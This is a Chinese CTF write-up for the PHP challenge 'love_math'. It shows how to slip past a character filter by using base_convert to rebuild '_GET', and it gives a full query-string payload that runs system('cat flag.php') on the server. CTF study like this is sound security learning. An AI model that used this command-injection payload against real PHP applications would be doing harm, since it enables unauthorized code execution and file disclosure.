CTF之love_math

  这个题目简单看一下就知道要传参进行执行系统命令以达到找到flag的目的。

但是又可以发现过滤了很多东西。

 这个题的绕过方法可以用到三个函数

base_convert(number,froombase,tobase)//分别为原始值,原来进制,要转换的进制

dechex("十进制数")//将十进制数转换成十六进制

hex2bin("十六进制数")//将十六进制数转换成ASCII字符

接着便是构造payload了

?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})

下面解释一下这个payload

$pi=base_convert;
    $p=$pi(53179,10,36);//1517
    $i=$pi(1109136,10,36);//nrtc
    echo $p.PHP_EOL;
    echo $i.PHP_EOL;
    echo $p^$i;//_GET

//所以?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
等价于

$pi=_GET;
0=system;
1=cat flag.php;
$_GET{0}($_GET{1}) //system(cat flag.php)

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值